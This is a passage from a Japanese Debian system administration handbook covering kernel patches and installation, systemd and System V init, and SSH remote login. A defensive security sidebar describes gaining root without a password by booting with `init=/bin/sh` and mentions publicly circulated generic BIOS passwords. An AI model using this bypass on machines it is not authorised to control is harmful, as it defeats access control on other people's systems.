DKMS 以前、カーネルモジュールをビルドして配置する最も簡単な解決策は **module-assistant** でした。特に DKMS 統合されていないパッケージはまだ **module-assistant** を使っています。このようなパッケージでは、単純なコマンド `module-assistant auto-install xtables-addons` (または短縮コマンドの `m-a a-i xtables-addons`) を使えば、モジュールを現在のカーネル用にコンパイルして新しい Debian パッケージを作成できます。作成したパッケージはその場でインストールできます。

8.10.6. カーネルパッチの適用

一部の機能は完成度の低さやカーネルメンテナとの意見の不一致が原因で標準的なカーネルに含まれていません。そのような機能をカーネルソースに対して自由に適用できるようにするために、これをパッチの形で配布する場合があります。

Debian はいくつかのパッチを **linux-patch-*** や **kernel-patch-*** パッケージの形で配布します (たとえば、**linux-patch-grsecurity2** はカーネルのセキュリティポリシーを厳しくするパッチです)。これらのパッケージは `/usr/src/kernel-patches/` ディレクトリにファイルをインストールします。

インストール済みパッチをカーネルに適用するには、ソースディレクトリの中で `patch` コマンドを使い、上で述べた通り、カーネルのコンパイルを始めてください。

```
$ cd ~/kernel/linux-source-3.16
$ make clean
$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.0-3.17.1-201410250027.
    ➥ patch.gz | patch -p1
```

与えられたパッチがカーネルのどのバージョンでも動作するとは限らないことに注意してください。さらに、カーネルソースにパッチを適用する際に、`patch` が失敗することもあります。エラーメッセージが表示され、失敗に関する詳細が表示されるでしょう。この場合、そのパッチの Debian パッケージで利用できる文書 (`/usr/share/doc/linux-patch-*/` ディレクトリに含まれます) を参照してください。多くの場合、メンテナはそのパッチがどのカーネルバージョンを対象にしたものかを書いています。

8.11. カーネルのインストール

8.11.1. Debian カーネルパッケージの特徴

Debian カーネルパッケージはカーネルイメージ (`vmlinuz-`**`version`**) をインストールします。カーネルの設定 (`config-`**`version`**) とシンボルテーブル (`System.map-`**`version`**) は `/boot/` に置かれます。シンボルテーブルは開発者がカーネルエラーメッセージの意味を理解する際の手助けになります。それどころかシンボルテーブルがなければ、カーネルの「oops」(「oops」とはカーネル空間で起こるユーザ空間プログラムのセグメンテーション違反に相当するエラーです。言い換えれば、不正なポインタを参照して値を取得したことで生成されるメッセージです) に含まれる情報は、数字で表したメモリアドレスだけになります。アドレスとシンボルや関数名を対応付けるテーブルがなければ、この情報は役に立ちません。モジュールは `/lib/modules/`**`version`**`/` ディレクトリにインストールされます。

カーネルパッケージの設定スクリプトは自動的に initrd イメージを生成します。initrd はブートローダによってメモリに読み込まれる小さなシステムで (このため「init RAM ディスク」と名付けられています)、Linux カーネルは initrd を使って完全な Debian システムを含むデバイス (たとえば SATA ディスクのドライバ) にアクセスするために必要なモジュールを読み込みます。最後に、カーネルパッケージの post-installation スクリプトが `/vmlinuz`、`/vmlinuz.old`、`/initrd.img`、`/initrd.img.old` のシンボリックリンクを更新します。これらはそれぞれインストールされた最新の 2 つのカーネルとカーネルに対応する initrd イメージを指します。

これらの作業のほとんどは `/etc/kernel/*.d/` ディレクトリの中にあるフックスクリプトが担っています。たとえば、`grub` との統合は、カーネルがインストールまたは削除された際に `update-grub` を呼び出す `/etc/kernel/postinst.d/zz-update-grub` と `/etc/kernel/postrm.d/zz-update-grub` が担っています。

8.11.2. dpkg を使ったインストール

`apt` はとても便利なので、簡単に低レベルツールについて忘れてしまいます。しかし、コンパイルされたカーネルをインストールする最も簡単な方法は `dpkg -i` **`package`**`.deb` などのコマンドを使うやり方です。ここで **package**.deb は **linux-image** パッケージの名前で、たとえば `linux-image-3.16.7-ckt4-falcot_1_amd64.deb` です。

この章で説明されている設定手順は基本であり、サーバシステムにもワークステーションにも適用でき、半自動化された方法で広く適用できます。しかしながら、この設定手順だけで完全に設定されたシステムを十分に提供することは不可能です。「Unix サービス」として知られている低レベルプログラムを初めとする、いくつかの要素に対する設定がまだ必要です。

キーワード

システム起動
初期化スクリプト
SSH
Telnet
権限
パーミッション
管理
inetd
cron
バックアップ
ホットプラグ
PCMCIA
APM
ACPI

章

Unix サービス 9

目次

システム起動 182　リモートログイン 191　権限の管理 197　管理インターフェース 199
syslog システムイベント 201　inetd スーパーサーバ 204　cron と atd を使ったスケジューリングタスク 205
非同期タスクのスケジューリング、anacron 208　クォータ 209　バックアップ 210　ホットプラグ機能、**hotplug** 214
電源管理、Advanced Configuration and Power Interface (ACPI) 218

この章では、多くの Unix システムに共通する数多くの基本的なサービスをカバーします。すべての管理者はこれらの基本的なサービスに精通しているべきです。

9.1. システム起動

コンピュータを起動する際、コンソール画面にスクロールされる多くのメッセージには、実行されている多くの自動初期化と自動設定に関する情報が表示されます。この段階の挙動を少し変えたいと思うことがあるかもしれません。これは起動処理をよく理解する必要があることを意味しています。この節の目的は起動処理をよく理解することにあります。

最初に BIOS がコンピュータを制御し、ディスクを検出し、**マスターブートレコード**を読み込み、ブートローダを実行します。以降、ブートローダが引き継ぎ、ディスクからカーネルを見つけ、カーネルを読み込んで実行します。そして、カーネルが初期化され、ルートファイルシステムを含むパーティションの検索とマウントを開始し、最後に最初のプログラムである `init` を実行します。「ルートパーティション」と `init` は RAM の中にだけ存在する仮想ファイルシステム (これは現在「initramfs」と呼ばれていますが、以前は「初期化 RAM ディスク」という意味で「initrd」と呼ばれていました) 上に置かれていることが多いです。多くの場合、initramfs はハードドライブのファイルかネットワークから、ブートローダによってメモリに読み込まれます。initramfs には、カーネルが「真の」ルートファイルシステムを読み込むために必要な最低限の要素が含まれています。具体的に言えば、ハードドライブやそれなしではシステムが起動できないその他のデバイスのドライバモジュール、より頻繁にあるのが、RAID アレイを組み立て、暗号化されたパーティションを開き、LVM ボリュームを有効化するなどの初期化スクリプトとモジュールが含まれています。一度ルートパーティションがマウントされたら、initramfs は制御を真の init に渡し、マシンは標準的な起動処理に戻ります。

図 9.1　systemd を使う Linux の動くコンピュータの起動シーケンス

9.1.1. systemd init システム

「init の実体」は現在 **systemd** によって提供されています。この節ではこの init システムに関して説明します。

CULTURE

systemd 以前

systemd は比較的最近の「init システム」で、既に **Wheezy** ではある程度利用できましたが、Debian **Jessie** からデフォルトに採用されました。以前のリリースはデフォルトで「System V init」(**sysv-rc** パッケージに含まれます) を採用していました。System V init はより伝統的なシステムです。System V init については後で説明します。

ALTERNATIVE

他の起動システム

本書は Debian **Jessie** のデフォルト起動システム (**systemd** パッケージによる実装) および以前のデフォルト起動システム **sysvinit** について説明します。**sysvinit** は **System V** Unix システムから派生し受け継がれたものです。また、他の起動システムも存在します。

file-rc は極めて単純なやり方を使う起動システムです。**file-rc** はランレベルの原則を守りますが、ディレクトリとシンボリックリンクを設定ファイルで置換します。この設定ファイルを使って init に対して起動するプロセスとその起動順を伝えます。

Debian 上の upstart システムはまだ完全にテストされていません。upstart はイベントに基づく起動システムです。すなわち init スクリプトはもはや逐次的順序でなく、スクリプトの完了などのイベントに応じてそのスクリプトに依存していた別のスクリプトが起動されます。Ubuntu の始めた upstart システムは Debian **Jessie** に含まれますが、デフォルトではありません。実際のところ、upstart は **sysvinit** の代替として始まり、upstart の起動するタスクの 1 つが **sysv-rc** パッケージの提供する伝統的なシステム向けに書かれたスクリプトを起動するようになっています。

他の起動システムや他の動作モードも存在します。たとえば runit や minit などです。しかしこれらは比較的特殊で広く使われていません。

SPECIFIC CASE

ネットワークからの起動

一部の設定では、BIOS が MBR を実行しないように設定され、その代わり MBR に相当するものをネットワークから探すように設定されているかもしれません。こうすることで、ハードドライブなしでコンピュータを組み立てたり、起動するたびに完全に再インストールすることが可能になります。このオプションは、すべてのハードウェアで利用できるというわけではありませんし、通常 BIOS とネットワークカードの適切な組み合わせが必要です。

ネットワークからの起動は debian-installer や FAI (第 4.1 節「インストール方法」48 ページを参照してください) を起動するために使われます。

BACK TO BASICS

プロセス、プログラムインスタンス

プロセスとは実行中のプログラムのメモリ内表現です。プロセスにはソフトウェアを適切に実行するために必要なすべての情報が含まれます (これにはソフトウェアのコードだけでなく、ソフトウェアが所有するメモリ内のデータ、ソフトウェアが開いたファイルのリスト、ソフトウェアが確立したネットワーク接続などが含まれます)。単独のプログラムが複数のプロセスを生成するかもしれませんし、ユーザはこの単独のプログラムを複数実行することも可能です。

SECURITY

init にシェルを実行させて root 権限を獲得する

慣例によれば、起動される最初のプロセスは init プログラムです (これはデフォルトで /lib/systemd/systemd へのシンボリックリンクです)。しかしながら、カーネルに init オプションを渡して別のプログラムを開始することも可能です。

コンピュータに触ることができる人は誰でも Reset ボタンを押してコンピュータを再起動することが可能です。そして、ブートローダプロンプトでカーネルに `init=/bin/sh` オプションを渡せば、管理者パスワードを知らなくても root 権限を取得できます。

これを避けるため、パスワードでブートローダを保護することが可能です。さらに BIOS へのアクセスも保護したいと考えるかもしれません (BIOS に対するパスワード保護機能はほぼ必ず付いています)。BIOS に対するパスワード保護機能がなければ、悪意ある侵入者が自分の Linux システムを含むリムーバブルメディアからマシンを起動して、コンピュータのハードドライブのデータにアクセスするかもしれません。

最後に、多くの BIOS では汎用的なパスワードが使えるという点に注意してください。当初、汎用パスワードはパスワードを忘れた人向けのトラブルシューティングを意図していましたが、今や汎用パスワードは公開されインターネットから入手できます (ご自分の手で、検索エンジンで「generic BIOS passwords」を検索してみてください)。前述した保護機能を使えば、マシンへの不正アクセスを完全に防ぐことはできないにせよ、それを遅らせることは可能でしょう。しかしながら、攻撃者が物理的にコンピュータにアクセスできる場合、確実にコンピュータを保護する方法は存在しません。すなわち、攻撃者は対象のコンピュータからハードドライブを取り外してそれを自分の制御下にあるコンピュータに接続したり、マシン本体ごと盗んだり、パスワードをリセットするために BIOS メモリを消去することも可能ということです。

Systemd はシステムの設定を担当している複数のプロセスを実行します。具体的に言えば、キーボード、ドライバ、ファイルシステム、ネットワーク、サービスなどの要素が設定されます。Systemd はシステム全体におよぶ包括的視点と各要素の要求条件を満足させながらプロセスを実行します。各要素は「ユニットファイル」によって定義されています (「ユニットファイル」以外のファイルが必要な場合もあります)。ユニットファイルの一般的な構文は広く使われている「*.ini ファイル」の構文から派生したもので、[**section**] ヘッダでグループ化された **key** = **value** ペアを使います。ユニットファイルは `/lib/systemd/system/` と `/etc/systemd/system/` の下に保存されます。ユニットファイルにはいくつかの形式がありますが、ここでは「service」型と「target」型に注目します。

systemd の「service ファイル」は systemd が管理するプロセスを設定するファイルです。「service ファイル」には大ざっぱに言って古いスタイルの init スクリプトと同じ情報が含まれていますが、宣言的な方法 (そしてより簡潔な方法) を使ってその情報が記述されています。systemd は大半の繰り返しタスク (プロセスの開始と停止、状態確認、ログ記録、特権の取り消しなど) を処理しますので、service ファイルに記入する情報は対象プロセスに特有の情報だけで十分です。たとえば以下は SSH 用の service ファイルです。

```
[Unit]
Description=OpenBSD Secure Shell server
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

```
Alias=sshd.service
```

ご覧の通り、コードはとても少なく宣言だけで構成されています。systemd は作業進行状況を表示したり、プロセスを監視したり、必要な時にプロセスを再起動することを担当します。

systemd の「target ファイル」はシステムの状態を記述するファイルで、管理者はこのファイルを使って利用できる状態にされていなければならないサービス群を指定します。「target ファイル」は昔ながらのランレベルに相当するものとして考えることが可能です。target ファイルの 1 つに local-fs.target があります。local-fs.target で定義された状態に到達した場合、残りのシステムはすべてのローカルファイルシステムがマウントされアクセスできるようになっている状態を仮定することが可能です。また別の target ファイルに network-online.target と sound.target があります。ある target ファイルの依存関係は対象の target ファイルの中 (Requires= 行) に依存関係にある service ファイルを記述するか、対象の /lib/systemd/system/**targetname**.target.wants/ ディレクトリの中に依存関係にある service ファイルを指すシンボリックリンクを作ることで指定します。たとえば、/etc/systemd/system/printer.target.wants/ には /lib/systemd/system/cups.service へのリンクが含まれます。そしてこのため systemd は printer.target を処理する前に CUPS が実行されていることを保証するでしょう。

ユニットファイルは宣言型の設定ファイルでありスクリプトやプログラムではないため、ユニットファイルを直接実行することは不可能で、ユニットファイルは systemd によってのみ解釈されます。いくつかのユーティリティを使うことで、管理者は systemd と情報をやり取りして、システムおよびシステム部品の状態を制御することが可能です。

systemd と情報をやり取りする 1 番目のユーティリティとして systemctl が挙げられます。systemctl を引数なしで実行した場合、systemd が把握しているすべてのユニットファイル (無効化されているものを除きます) およびその状態が表示されます。systemctl status を使うことで、サービスおよび関連するプロセスをよりわかりやすく表示することが可能です。サービスの名前を指定した場合 (systemctl status ntp.service のように指定した場合)、systemctl はさらに詳しい情報および指定したサービスに関連するログの最後の数行を表示します (後から詳しく説明します)。

手作業でサービスを開始するのは簡単で、systemctl start **servicename**.service を実行するだけです。予想通り、サービスを停止するには systemctl stop **servicename**.service を使います。また、他のサブコマンドには reload と restart があります。

サービスを有効化するには (たとえば起動時に自動的にサービスを開始するには)、systemctl enable **servicename**.service を使います (無効化するには disable を使います)。is-enabled を使えば、サービスの状態を確認することが可能です。

systemd が備える興味深い機能として、journald と名付けられたログ記録機能が挙げられます。journald は syslogd などのより伝統的なログ記録システムを補完するために誕生しましたが、サービスとサービスが生成したメッセージを正しく関連付けたり初期化シーケンスが生成するエラーメッセージを保存する能力などの興味深い機能を追加しています。journalctl コマンドの助けを少し借りるだけで、メッセージを後から表示することが可能になります。引数なしで実行した場合、journalctl は起動後に発生したすべてのログメッセージを表示しますが、引数を与えずに実行することはほとんどないでしょう。ほとんどの場合、以下のようにサービス識別子を与えて journalctl を実行します。

```
# journalctl -u ssh.service
-- Logs begin at 火 2015-03-31 17:08:49 JST, end at 水 2015-04-01 00:06:02 JST. --
 3月 31 17:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
 3月 31 17:08:55 mirtuel sshd[430]: Server listening on :: port 22.
```

```
 3月 31 17:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.
 3月 31 17:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
 3月 31 17:09:00 mirtuel sshd[430]: Server listening on :: port 22.
 3月 31 17:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129
     ➥ port 53394 ssh2
 3月 31 17:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user
     ➥ roland by (uid=0)
```

その他の役に立つコマンドラインオプションとして -f が挙げられます。これを使った場合、journalctl は新しいメッセージを受け取ったらそのメッセージを表示し続けます (これは tail -f **file** とほぼ同じやり方です)。

サービスが期待通りに動いていないように見える場合、問題解決に向けて手始めに systemctl status を実行し、今現在サービスが動いているか否かを確認します。サービスが実行されておらず、systemctl status の表示したメッセージが問題の原因を解明するのに十分でない場合、journald が収集したサービスに関連するログを確認します。たとえば、SSH サービスが動いていないと仮定すると、以下の手順で状況を確認します。

```
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
   Active: failed (Result: start-limit) since 水 2015-04-01 00:30:36 JST; 1s ago
  Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
  Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)
 Main PID: 1188 (code=exited, status=255)

 4月  1 00:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,
     ➥ refusing to start.
 4月  1 00:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
 4月  1 00:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# journalctl -u ssh.service
-- Logs begin at 水 2015-04-01 00:29:27 JST, end at 水 2015-04-01 00:30:36 JST. --
 4月  1 00:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
 4月  1 00:29:27 mirtuel sshd[424]: Server listening on :: port 22.
 4月  1 00:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.
 4月  1 00:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
 4月  1 00:29:29 mirtuel sshd[424]: Server listening on :: port 22.
 4月  1 00:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129
     ➥ port 38742 ssh2
 4月  1 00:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user
     ➥ roland by (uid=0)
 4月  1 00:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option ”
     ➥ yess”.
 4月  1 00:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option ”
     ➥ yess”.
```

```
 4月  1 00:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option ”
     ➥ yess”.
 4月  1 00:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option ”
     ➥ yess”.
 4月  1 00:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option ”
     ➥ yess”.
 4月  1 00:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited,
     ➥ status=255/n/a
 4月  1 00:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
 4月  1 00:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly,
     ➥ refusing to start.
 4月  1 00:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
 4月  1 00:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# vi /etc/ssh/sshd_config
# systemctl start ssh.service
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
   Active: active (running) since 水 2015-04-01 00:31:09 JST; 2s ago
  Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
 Main PID: 1222 (sshd)
   CGroup: /system.slice/ssh.service
           └─1222 /usr/sbin/sshd -D
#
```

ここでは SSH サービスの状態が失敗状態であることを確認した後、ログの確認作業に進みました。その結果、ログは設定ファイル内にエラーがあることを示しています。そこで設定ファイルを編集してエラーを修正した後、SSH サービスを再起動し、SSH サービスが本当に動いていることを確認しました。

GOING FURTHER

ユニットファイルの他の型

この節では、systemd の最も基本的な機能だけを説明しました。systemd は他にも多くの興味深い機能を備えていますが、ここでは一部だけを紹介します。

- ソケットの活性化。「socket」型のユニットファイルを使えば、systemd が管理するネットワークや Unix ソケットを表現することが可能です。これは systemd がソケットを作成し、実際のサービスは実際の接続要求を受信した時に要求に応じて開始されることを意味しています。この機能は大ざっぱに言って inetd の機能群を再現するものです。詳しくは systemd.socket(5) を参照してください。
- タイマ。「timer」型のユニットファイルを使えば、固定周期および特定時刻に発動するイベントを表現することが可能です。さらにサービスをタイマに関連付けた場合、タイマが発動するたびにサービスに対応するタスクを実行します。これを使うことで、

cron 機能の一部を置き換えることが可能です。詳しくは systemd.timer(5) を参照してください。

- ネットワーク。「network」型のユニットファイルを使えば、ネットワークインターフェースを表現することが可能です。これを使うことで、ネットワークインターフェースを設定したり、サービスが特定のネットワークインターフェースの状態に依存することを表現することが可能です。

9.1.2. System V init システム

System V init システム (これを短縮して init と呼びます) は /etc/inittab ファイルの指示に従って複数のプロセスを実行します。実行される最初のプログラム (**sysinit** 段階に相当します) は /etc/init.d/rcS で、これは /etc/rcS.d/ ディレクトリに含まれるすべてのプログラムを起動するスクリプトです。

/etc/rcS.d/ ディレクトリに含まれるスクリプトは特に以下の点を担当します。

- コンソールキーボードの設定。
- ドライバの読み込み。ほとんどのカーネルモジュールはハードウェアを検出した時にカーネル自身によって読み込まれます。追加のドライバはそれに対応するモジュールが /etc/modules にリストされている場合に読み込まれます。
- ファイルシステムの整合性確認。
- ローカルパーティションのマウント。
- ネットワークの設定。
- ネットワークファイルシステム (NFS) のマウント。

BACK TO BASICS

カーネルモジュールとオプション

カーネルモジュールにオプションを指定するには、/etc/modprobe.d/ にファイルを追加してください。カーネルモジュールのオプションは options **module-name option-name=option-value** のような指示文を使って定義します。場合によっては、いくつかのオプションは単独の指示文で指定することも可能です。

/etc/modprobe.d/ 内の設定ファイルは modprobe によって使われます。すなわち modprobe が依存関係に従ってカーネルモジュールを読み込みます (モジュールは他のモジュールを呼ぶことができます)。modprobe は **kmod** パッケージに含まれています。

/etc/init.d/rcS の完了後、init が起動処理を引き継いで、デフォルトランレベル (通常ランレベル 2) で有効化されたプログラムを起動します。init は /etc/init.d/rc 2 を実行します。これは /etc/rc2.d/ に置かれて「S」で始まる名前のすべてのサービスを開始するコマンドです。歴史的なことを言えば、「S」の後に続く 2 桁の数字は起動するサービスの順番を定義するために使われていました。しかし現在では、デフォルトの起動システムは insserv を使ってスクリプト同士の依存関係に従った起動順を自動的に決定します。このため、各起動スクリプトはサービスを起動または終了させる時に満足しなければいけない条件を宣言します (たとえば、あるサービスは他のサービスの前または後に起動しなければいけないなどの条件を宣言します)。そして、init は条件を満足するようにサービスを起動します。このため、スクリプトの静的な番号付けはもはや考慮されません (しかしスクリプトの名前は必ず「S」で始まり、その後ろに 2 桁の番号と条件を宣言する際に使われる実際のスクリプトの名前を付けなければいけません)。一般に、基盤サービス (ログ記録を担

当している rsyslog やポート割り当てを担当している portmap) が最初に起動され、その後に標準的なサービスとグラフィカルインターフェース (gdm3) が起動されます。

この依存関係に基づく起動システムのおかげで、起動順を自動的に再定義することが可能になります。これは手作業でやるにはちょっと退屈な作業で、人的ミスの危険性があります。なぜなら、起動順は宣言された依存関係に従って定義されるからです。他の長所として、他のサービスに依存しないサービスは並列して開始できるという点があります。このことにより、起動処理を加速できます。

init はランレベルを見分けて処理を分岐させます。ランレベルを切り替えるには telinit **new-level** コマンドを使います。このコマンドを実行すると init は即座に新しいランレベルを引数にして /etc/init.d/rc を再実行します。/etc/init.d/rc は欠けているサービスを開始し、既に不要となったサービスを停止します。これを行うために、/etc/init.d/rc は /etc/rc**X**.d ディレクトリの内容を参照します (ここで **X** は新しいランレベルです)。このディレクトリに含まれる (「Start」の)「S」で始まるスクリプトは開始されるサービスで、(「Kill」の)「K」で始まるスクリプトは停止されるサービスです。/etc/init.d/rc は切り替え前のランレベルで既に起動されているサービスは開始しません。

デフォルトで、Debian の System V init は 4 種類のランレベルを使います。

- レベル 0。これはコンピュータの電源を切る際に一時的に使われるだけです。このため「K」スクリプトしか含まれません。

- レベル 1。これはシングルユーザモードとしても知られ、システムの機能抑制モードに相当します。このモードは基本的なサービスだけを提供し、一般ユーザがマシンを利用していないメンテナンスの際に使われることを意図しています

- レベル 2。これは通常動作用のモードで、ネットワークサービス、グラフィカルインターフェース、ユーザログインなどの機能を使うことが可能です。

- レベル 6。これはレベル 0 と似ていますが、再起動前のシャットダウン段階中に使われる点が異なります。

その他のレベル。レベル 3 からレベル 5 までも存在します。デフォルトでこれらのランレベルはレベル 2 と同様に動作しますが、管理者はこれらのレベルを特定の要求に順応させるためのレベルに書き換えることが可能です (ランレベルに対応する /etc/rc**X**.d ディレクトリにスクリプトを追加したりおよび削除したりする必要があります)。

図 9.2　System V init を使う Linux の動くコンピュータの起動シーケンス

各 /etc/rc**X**.d ディレクトリに含まれるすべてのスクリプトは /etc/init.d/ に格納されたスクリプトの実体を指すシンボリックリンクに過ぎません (シンボリックリンクはパッケージのインストール時に update-rc.d プログラムによって作られます)。各ランレベルで利用できるサービスを微調整するには、管理者が調整パラメータを与えて update-rc.d を再実行する必要があります。update-rc.d の構文は update-rc.d(1) マニュアルページに詳しく説明されています。サービスを無効化したい場合に (remove パラメータを与えて) すべてのシンボリックリンクを削除するのは悪い方法であるという点に注意してください。remove パラメータを使う代わりに、単純に希望するランレベルでそのサービスを起動しないよう disable を使って設定するべきです (同時に、万が一切り替え前のランレベルで対象のサービスが実行されている場合に備えて、切り替え後のランレベルでサービスを停止するために必要なシンボリックリンクを確保しておくべきです)。update-rc.d は複雑なインターフェースを持っているため、rcconf (**rcconf** パッケージに含まれます) を使いたいと思うかもしれません。rcconf はユーザにとってさらに使い勝手の良いインターフェースを提供します。

DEBIAN POLICY

サービスの再起動

Debian パッケージのメンテナスクリプトはサービスを確実に利用できるようにしたりサービスに特定のオプションを考慮させるためにそのサービスを再起動することがあります。サービスを操作するコマンドである service **service operation** はランレベルを考慮しません。このコマンドはサービスが現在使用中であると (間違って) 仮定し、間違った操作 (故意に停止されたサービスの開始や既に停止されたサービスの停止など) を開始するかもしれません。このため Debian は invoke-rc.d プログラムを導入しました。すなわち、メンテナスクリプト内でサービス初期化スクリプトを実行する場合は、必ず invoke-rc.d プログラムを使わなけ

ればいけません。invoke-rc.d プログラムは必要なコマンドだけを実行します。通常の使い方と異なり、ディレクトリではなくプログラム名に .d サフィックスが使われている点に注意してください。

最後に、init はさまざまな仮想コンソール用の制御プログラム (getty) を開始します。getty はプロンプトを表示し、ユーザ名の入力を待ち、セッションを開始するために login **user** を実行します。

VOCABULARY

コンソールと端末

草創期のコンピュータは通常複数のとても大きな部品に分かれていました。すなわち、ストレージ収納装置と中央処理装置はそれらを操作するオペレータが使う周辺装置から離れた場所にありました。オペレータが使う周辺装置は分離された周辺装置「コンソール」の部分でした。現在「コンソール」という用語は意味を変えて残されています。「コンソール」はキーボードと画面を備える「端末」とほぼ同義語になっています。

コンピュータの開発とともに、オペレーティングシステムは、たとえもしマシンに 1 台のキーボードと画面しか接続されていなかったとしても、複数の独立したセッションを同時に処理する目的で複数の仮想コンソールを提供するようになりました。多くの GNU/Linux システムでは (テキストモード時に)、Control+Alt+F1 から Control+Alt+F6 までのキーの組み合わせを入力することで 6 つの仮想コンソールを切り替えられます。

転じて、「コンソール」と「端末」という用語はグラフィカル X11 セッションで使われる端末エミュレータ (xterm、gnome-terminal、konsole など) でも使われています。

9.2. リモートログイン

管理者にとってコンピュータにリモートから接続できることは不可欠な要素です。専用の部屋に閉じ込められているサーバにキーボードとモニタが常設されていることはめったにありません。しかしサーバはネットワークにつながっています。

BACK TO BASICS

クライアント、サーバ

複数のプロセスが互いに通信しているシステムはよく「クライアント/サーバ」に例えられます。サーバはクライアントからの要求に応じて、その要求を実行するプログラムです。操作を制御するのがクライアントで、サーバは制御の主導権を握りません。

9.2.1. 安全なリモートログイン、SSH

SSH (Secure SHell) プロトコルは安全性と信頼性を念頭に置いて設計されました。SSH を使う接続は安全です。つまり、通信相手は認証され、交換されるデータはすべて暗号化されます。

CULTURE

Telnet と RSH は時代遅れです

SSH 以前、**Telnet** と **RSH** がリモートからログインするために使われる主なツールでした。両者は今や大幅に時代遅れです。両者がまだ Debian から配布されているとしても、もはやそれを使うべきではありません。

VOCABULARY

認証、暗号化

クライアントに対してサーバ上で作業を実行したり作業を自動的に開始したりすることを許可する必要がある場合、安全性が重要です。クライアントは必ず本人であることを確認され

なければいけません。これが認証です。通常、本人確認はパスワードを使って行います。パスワードは人目に触れさせてはいけません。そうでなければ、他のクライアントがパスワードを取得できてしまうからです。これが暗号化の目的です。暗号化は符号化の形をしています。暗号化することで、2 つのシステムが公衆回線を使って秘密の情報を他人に読まれないように保護した状態でやり取りすることが可能になります。

認証と暗号化はしばしば一緒に言及されます。なぜなら両者は同時に使われることが多く、よく似た数学的概念を基に実行されることが多いからです。

さらに SSH は 2 種類のファイル転送サービスを提供します。scp は cp のように使えるコマンドラインツールです。ただし、他のマシンへのパスを表記するにはパスの前にそのマシンの名前とコロンを付ける点が cp と異なります。

```
$ scp file machine:/tmp/
```

sftp は対話型コマンドで ftp に似ています。sftp は単一のセッションの中で複数のファイルを転送したり、リモートのファイルを操作 (削除、リネーム、パーミッション変更など) したりすることが可能です。

Debian は OpenSSH を使います。OpenSSH は SSH のフリーソフトウェア版で OpenBSD (BSD カーネルに基づき、安全性を重要視する自由なオペレーティングシステム) プロジェクトによってメンテナンスされており、フィンランドの SSH Communications Security Corp が開発した元祖 SSH ソフトウェアのフォークです。SSH Communications Security Corp は当初 SSH をフリーソフトウェアとして開発していましたが、結局プロプライエタリライセンスで開発を続けることを決定しました。そして OpenBSD プロジェクトが SSH のフリーソフトウェア版としてメンテナンスするために OpenSSH を作成しました。

BACK TO BASICS

フォーク

ソフトウェアの分野で「フォーク」とは、既存のプロジェクトのクローンとして始まった新しいプロジェクトを意味しており、既存のプロジェクトの対抗馬です。通常、両方のソフトウェアは新しい開発という観点ですぐに別のものになっていきます。フォークは開発チーム内の意見の不一致によって起こることが多いです。

プロジェクトをフォークするという選択肢はフリーソフトウェアの本質そのものから生じた直接的な結果です。フリーソフトウェアとしてのプロジェクトの存続を可能にするための (たとえばライセンスが変更された場合などの) フォークは健全な出来事です。技術的および個人的な意見の不一致によって起こるフォークは通常人的資源の無駄です。従って別の解決策が望まれます。過去にフォークした 2 つのプロジェクトの合併はいまだ前例がありません。

OpenSSH は 2 つのパッケージに分割されています。すなわち、クライアント部分は **openssh-client** パッケージ、サーバ部分は **openssh-server** パッケージに分割されています。**ssh** メタパッケージは両方のパッケージに依存しており、これを使えば両方のインストールが簡単になります (apt install ssh だけでクライアントとサーバの両方がインストールされます)。

鍵認証方式

